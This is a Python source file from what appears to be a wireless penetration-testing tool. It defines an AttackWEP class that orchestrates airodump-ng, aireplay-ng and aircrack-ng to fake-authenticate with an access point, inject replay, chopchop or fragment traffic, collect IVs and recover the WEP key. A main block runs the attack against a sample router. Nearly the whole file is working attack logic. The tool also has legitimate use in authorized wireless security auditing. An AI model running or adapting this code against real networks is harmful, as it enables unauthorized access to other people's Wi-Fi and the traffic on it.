228 lines
9.8 KiB
Python
228 lines
9.8 KiB
Python
#!/usr/bin/python
|
|
|
|
from Attack import Attack
|
|
from Airodump import Airodump
|
|
from Aireplay import Aireplay, WEPAttackType
|
|
from Aircrack import Aircrack
|
|
from Configuration import Configuration
|
|
from Interface import Interface
|
|
from Color import Color
|
|
from CrackResultWEP import CrackResultWEP
|
|
|
|
import time
|
|
|
|
class AttackWEP(Attack):
|
|
'''
|
|
Contains logic for attacking a WEP-encrypted access point.
|
|
'''
|
|
|
|
fakeauth_wait = 5
|
|
|
|
def __init__(self, target):
|
|
super(AttackWEP, self).__init__(target)
|
|
self.crack_result = None
|
|
self.success = False
|
|
|
|
def run(self):
|
|
'''
|
|
Initiates full WEP attack.
|
|
Including airodump-ng starting, cracking, etc.
|
|
Returns: True if attack is succesful, false otherwise
|
|
'''
|
|
# First, start Airodump process
|
|
with Airodump(channel=self.target.channel,
|
|
target_bssid=self.target.bssid,
|
|
ivs_only=True, # Only capture IVs packets
|
|
output_file_prefix='wep') as airodump:
|
|
|
|
Color.clear_line()
|
|
Color.p('\r{+} {O}waiting{W} for target to appear...')
|
|
airodump_target = self.wait_for_target(airodump)
|
|
|
|
if self.fake_auth():
|
|
# We successfully authenticated!
|
|
# Use our interface's MAC address for the attacks.
|
|
client_mac = Interface.get_mac()
|
|
elif len(airodump_target.clients) == 0:
|
|
# There are no associated clients. Warn user.
|
|
Color.pl('{!} {O}there are no associated clients{W}')
|
|
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
|
|
' without fake-authentication or associated clients{W}')
|
|
client_mac = None
|
|
else:
|
|
client_mac = airodump_target.clients[0].station
|
|
|
|
aircrack = None # Aircrack process, not started yet
|
|
|
|
for attack_name in Configuration.wep_attacks:
|
|
# Convert to WEPAttackType.
|
|
wep_attack_type = WEPAttackType(attack_name)
|
|
|
|
# Start Aireplay process.
|
|
aireplay = Aireplay(self.target, \
|
|
wep_attack_type, \
|
|
client_mac=client_mac)
|
|
|
|
time_unchanged_ivs = time.time() # Timestamp when IVs last changed
|
|
previous_ivs = 0
|
|
|
|
# Loop until attack completes.
|
|
while True:
|
|
airodump_target = self.wait_for_target(airodump)
|
|
Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) '
|
|
% (attack_name, airodump_target.ivs))
|
|
|
|
# Check if we cracked it.
|
|
if aircrack and aircrack.is_cracked():
|
|
(hex_key, ascii_key) = aircrack.get_key_hex_ascii()
|
|
bssid = airodump_target.bssid
|
|
if airodump_target.essid_known:
|
|
essid = airodump_target.essid
|
|
else:
|
|
essid = None
|
|
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
|
|
% attack_name)
|
|
if aireplay:
|
|
aireplay.stop()
|
|
self.crack_result = CrackResultWEP(bssid, \
|
|
essid, \
|
|
hex_key, \
|
|
ascii_key)
|
|
self.crack_result.dump()
|
|
self.success = True
|
|
return self.success
|
|
|
|
if aircrack and aircrack.is_running():
|
|
# Aircrack is running in the background.
|
|
Color.p('and {C}cracking{W}')
|
|
|
|
# Check number of IVs, crack if necessary
|
|
if airodump_target.ivs > Configuration.wep_crack_at_ivs:
|
|
if not aircrack:
|
|
# Aircrack hasn't started yet. Start it.
|
|
ivs_file = airodump.find_files(endswith='.ivs')[0]
|
|
aircrack = Aircrack(ivs_file)
|
|
|
|
elif not aircrack.is_running():
|
|
# Aircrack stopped running.
|
|
Color.pl('\n{!} {O}aircrack stopped running!{W}')
|
|
ivs_file = airodump.find_files(endswith='.ivs')[0]
|
|
Color.pl('{+} {C}aircrack{W} stopped,' +
|
|
' restarting {C}aircrack{W}')
|
|
aircrack = Aircrack(ivs_file)
|
|
|
|
elif aircrack.is_running() and \
|
|
Configuration.wep_restart_aircrack > 0:
|
|
# Restart aircrack after X seconds
|
|
if aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
|
|
aircrack.stop()
|
|
ivs_file = airodump.find_files(endswith='.ivs')[0]
|
|
Color.pl('\n{+} {C}aircrack{W} ran for more than' +
|
|
' {C}%d{W} seconds, restarting'
|
|
% Configuration.wep_restart_aircrack)
|
|
aircrack = Aircrack(ivs_file)
|
|
|
|
|
|
if not aireplay.is_running():
|
|
# Some Aireplay attacks loop infinitely
|
|
if attack_name == 'chopchop' or attack_name == 'fragment':
|
|
# We expect these to stop once a .xor is created
|
|
# or if the process failed.
|
|
|
|
# TODO: Check for .xor file.
|
|
# If .xor is not there, the process failed. Check stdout.
|
|
# XXX: For debugging
|
|
Color.pl('\n%s stopped, output:' % attack_name)
|
|
Color.pl(aireplay.get_output())
|
|
continue # Continue to other attacks
|
|
|
|
# TODO: If .xor exists, run packetforge-ng to create .cap
|
|
# If packetforge created the replay .cap file,
|
|
# 1. Change attack_name to 'forged arp replay'
|
|
# 2. Start Aireplay to replay the .cap file
|
|
else:
|
|
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
|
Color.pl('\naireplay.get_output():')
|
|
Color.pl(aireplay.get_output())
|
|
continue # Continue to other attacks
|
|
|
|
# Check if IVs stopped flowing (same for > N seconds)
|
|
if airodump_target.ivs > previous_ivs:
|
|
time_unchanged_ivs = time.time()
|
|
elif Configuration.wep_restart_stale_ivs > 0:
|
|
stale_seconds = time.time() - time_unchanged_ivs
|
|
if stale_seconds > Configuration.wep_restart_stale_ivs:
|
|
# No new IVs within threshold, restart aireplay
|
|
aireplay.stop()
|
|
Color.pl('\n{!} restarting {C}aireplay{W} after' +
|
|
' {C}%d{W} seconds of no new IVs'
|
|
% stale_seconds)
|
|
aireplay = Aireplay(self.target, \
|
|
wep_attack_type, \
|
|
client_mac=client_mac)
|
|
time_unchanged_ivs = time.time()
|
|
previous_ivs = airodump_target.ivs
|
|
|
|
time.sleep(1)
|
|
continue
|
|
# End of big while loop
|
|
# End of for-each-attack-type loop
|
|
# End of with-airodump
|
|
|
|
self.success = False
|
|
return self.success
|
|
|
|
|
|
def fake_auth(self):
|
|
'''
|
|
Attempts to fake-authenticate with target.
|
|
Returns: True if successful,
|
|
False is unsuccesful.
|
|
'''
|
|
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...'
|
|
% self.target.bssid)
|
|
start_time = time.time()
|
|
aireplay = Aireplay(self.target, 'fakeauth')
|
|
process_failed = False
|
|
while aireplay.is_running():
|
|
if int(time.time() - start_time) > AttackWEP.fakeauth_wait:
|
|
aireplay.stop()
|
|
process_failed = True
|
|
break
|
|
time.sleep(0.1)
|
|
|
|
# Check if fake-auth was successful
|
|
if process_failed:
|
|
fakeauth = False
|
|
else:
|
|
output = aireplay.get_output()
|
|
fakeauth = 'association successful' in output.lower()
|
|
|
|
if fakeauth:
|
|
Color.pl(' {G}success{W}')
|
|
else:
|
|
Color.pl(' {R}failed{W}')
|
|
if Configuration.require_fakeauth:
|
|
# Fakeauth is requried, fail
|
|
raise Exception(
|
|
'Fake-authenticate did not complete within' +
|
|
' %d seconds' % AttackWEP.fakeauth_wait)
|
|
else:
|
|
# Warn that fakeauth failed
|
|
Color.pl('{!} {O}' +
|
|
'unable to fake-authenticate with target' +
|
|
' (%s){W}' % self.target.bssid)
|
|
Color.pl('{!} continuing attacks because' +
|
|
' {G}--require-fakeauth{W} was not set')
|
|
return fakeauth
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
from Target import Target
|
|
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
|
|
target = Target(fields)
|
|
wep = AttackWEP(target)
|
|
wep.run()
|
|
|